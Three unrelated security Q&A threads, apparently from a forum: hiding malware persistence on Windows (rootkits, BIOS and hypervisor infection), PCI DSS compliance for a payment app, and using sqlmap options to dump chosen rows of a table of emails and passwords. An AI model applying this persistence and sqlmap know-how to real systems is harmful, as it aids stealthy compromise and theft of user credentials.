But I find these results too simple and could easily be discovered if the user changes settings. On Windows to start something up when the computer starts up, it needs to either be placed in Startup Folder or started as a Service.
So these can all be detected if the user has correct settings in place, and checks his services.
How does a good hacker hide a program on a computer to start up without ever being detected? Please give me examples.
And after that
I have a theory that if one makes his program to always start itself just before it's killed, then it can never be deleted while on the normal Windows interface. Please tell if I'm going banana's or this can be achieved.

There are many ways to do this. The term you are looking for is "rootkit" - that should send you down a rich road of research.
As for specifics, the attacker could replace a core Windows program with an infected one so it always gets loaded when Windows starts up normally. Or, the attacker could infect the BIOS. These two methods are impossible for a normal user to detect or to change once infected, which is why strong Anti-malware tries to detect and prevent these things.
A very cool alternative (more theory than actual) was to convert the existing operating system into a virtual machine and install a malicious hypervisor over top. In this way, there would be no change at all to the operating system, and the hypervisor could fiddle with the operation of the machine as it ran. In this case, even the perfect anti-malware program would be helpless.


What compliance does my mobile application need? We are going to develop an application for payment gateway which is already PCI DSS compliant,

This application will be handling the payment through the API.

My questions is is the application needs to be PA-DSS, P2PE, or PCI-DSS ?

If you handle credit cards you definitely need to comply with PCi DSS, If you are a kind of vendor and that you will make and sell payment applications so you need to meet PA DSS.
According to this link:

The PCI DSS is a standard that ALL organizations that store,
process and/or transmit credit card data must be compliant with.

You will find almost all you need to know about the paymement gateway integration in mobile apps in the following links:

All you need to know about the payment gateway integration into an app
How to Integrate Payment Gateway in a Mobile App?
What is the difference between PCI DSS and PA DSS?

Hope it helped !


Dump specific rows from database using sqlmap I'm trying to dump using sqlmap, I have 3 columns: userid, email, password with 2900000 entries in each.

When I just --dump the table, it will start from 1 to 2900000.

I don't want all the 2900000, how can I tell it to start from like 500000 and stop at 600000?

I tried the --start= and --stop= but it didn't help.

You can use --where to specify a constraint (for example you could do --where "ID=1000" to return only the record with an ID of 1000) or you can use the standard --start/--stop parameters.

As per this question you could also specify --sql-query="" to specify the select statement yourself for full control over the record set returned.